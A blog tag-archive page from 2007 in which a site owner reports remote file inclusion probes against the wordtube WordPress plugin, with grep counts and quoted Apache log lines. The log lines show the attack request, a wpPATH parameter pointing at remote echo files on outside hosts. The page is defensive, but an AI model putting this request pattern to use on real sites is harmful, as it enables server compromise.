Tag Archives: wordtube

wordtube deleted.

OK, over the past week+ after updating this plugin, my site’s theme has magically changed to the Wordpress default Kubrick theme on a few occasions. I’ve decided to give wordtube the axe, I don’t need the hassle of an easily attacked plugin. Below is a quick set of statistics from May 10th, to today May 16th. Most of them were happily blocked with HTTP 403 by one of my other plugins, and .htaccess.

grep "/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=" /var/log/apache2/blog.px.ns1.net_*log|wc -l
567
grep "wordtube-button.php" /var/log/apache2/blog.px.ns1.net_*log |wc -l
577
grep libwww-perl /var/log/apache2/blog.px.ns1.net_*log|wc -l
588
grep "wordtube-button.php" /var/log/apache2/blog.px.ns1.net_*log |grep -v 403|wc -l
11  # 6 of these were my own accesses.

Now I just need to checkout my system for any tertiary issues. *sigh*

[tags]wordpress plugins, wordtube, internet, blogs[/tags]

wordtube?

I saw something interesting in my apache log.

blog.px.ns1.net 72.36.146.234 server.webbyte.com - - [06/May/2007:18:51:22 -0700] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pikspiller.dk/stats/format/status.txt? HTTP/1.1" 200 962 "-" "libwww-perl/5.805" mod_deflate: In:- Out:-:-pct.

the file status.txt isn’t malicious, just an echo.

< ? echo "1122548"; ?>

[tags]apache log, boredom, interesting, wordtube, wordpress plugins[/tags]
UPDATE
it happened again. with a different host/file this time. Time to toss this plugin??

blog.px.ns1.net 85.119.156.52 power-network.org - - [07/May/2007:23:34:28 -0700] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://sanwall.info/echo.txt? HTTP/1.1" 200 922 "-" "libwww-perl/5.803" mod_deflate: In:- Out:-:-pct.

UPDATE2
yeah, there just found an advisory to update to a newer version.

Bad Behavior has blocked 818 access attempts in the last 7 days.

>>>>>>> .r246